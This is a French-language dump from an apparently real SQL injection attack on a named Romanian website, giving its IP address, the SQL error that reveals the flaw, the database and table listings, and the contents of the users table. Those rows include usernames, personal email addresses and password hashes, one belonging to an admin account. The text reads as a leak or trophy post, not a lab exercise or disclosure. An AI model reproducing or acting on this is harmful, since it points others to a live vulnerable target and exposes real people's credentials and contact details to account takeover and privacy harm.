Site 001 - SQLi - Roumanie

Cible: http://www.calidus.ro
IP Server: 91.216.151.7
Faille: Injection SQL
Résultat Faille: Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Version Server SQL: MySQL 5.0.11

--------------------------------

1) Liste DBS
[*] caliduzb_calidussql
[*] information_schema

2) Liste des TABLES
Database: caliduzb_calidussql [50 tables]

+-------------------+
| about             |
| about_de          |
| about_en          |
| categories        |
| categories_de     |
| categories_en     |
| contact           |
| contact_de        |
| contact_en        |
| customers         |
| eco               |
| eco_de            |
| eco_en            |
| faq               |
| faq_de            |
| faq_en            |
| forum_answer      |
| forum_question    |
| galleries         |
| gallery           |
| gallery_de        |
| gallery_en        |
| gallery_images    |
| imp               |
| mission           |
| mission_de        |
| mission_en        |
| news              |
| news_de           |
| news_en           |
| pellets           |
| pellets_de        |
| pellets_en        |
| prices            |
| products          |
| products_de       |
| products_en       |
| projects          |
| projects_de       |
| projects_en       |
| special_offers    |
| special_offers_de |
| special_offers_en |
| support           |
| support_de        |
| support_en        |
| users             |
| vizion            |
| vizion_de         |
| vizion_en         |
+-------------------+

3) Liste de la table USERS
Database: caliduzb_calidussql
Table: users [11 columns]
+-----------------------+--------------+
| Column                | Type         |
+-----------------------+--------------+
| logcode               | varchar(100) |
| user_email            | varchar(100) |
| user_id               | mediumint(8) |
| user_last_confirm_key | varchar(40)  |
| user_lastvisit        | date         |
| user_new_privmsg      | tinyint(2)   |
| user_password         | varchar(40)  |
| user_regdate          | date         |
| user_type             | tinyint(2)   |
| username              | varchar(255) |
| username_clean        | varchar(255) |
+-----------------------+--------------+

4) Résultats
Database: caliduzb_calidussql
Table: users [3 entries]
+---------+---------+----------+-----------+-------------------------------------+--------------+----------------------------------+----------------+----------------+------------------+
| user_id | logcode | username | user_type | user_email                          | user_regdate | user_password                    | user_lastvisit | username_clean | user_new_privmsg |
+---------+---------+----------+-----------+-------------------------------------+--------------+----------------------------------+----------------+----------------+------------------+
| 1       | none    | dexmod   | 3         | milad.mostavi@computer-solutions.ro | 2008-01-22   | a0dbde9503e13437db0f854b0b72a73b | 2008-01-22     | milad          | 0                |
| 8       | <blank> | admin    | 3         | <blank>                             | 0000-00-00   | 63a9f0ea7bb98050796b649e85481845 | 0000-00-00     | admin          | 0                |
| 6       | none    | miladro  | 0         | darkn3ss_ro@yahoo.com               | 2008-02-14   | 122f961db675f6a45b998594471a990b | 0000-00-00     | miladro        | 0                |
+---------+---------+----------+-----------+-------------------------------------+--------------+----------------------------------+----------------+---------------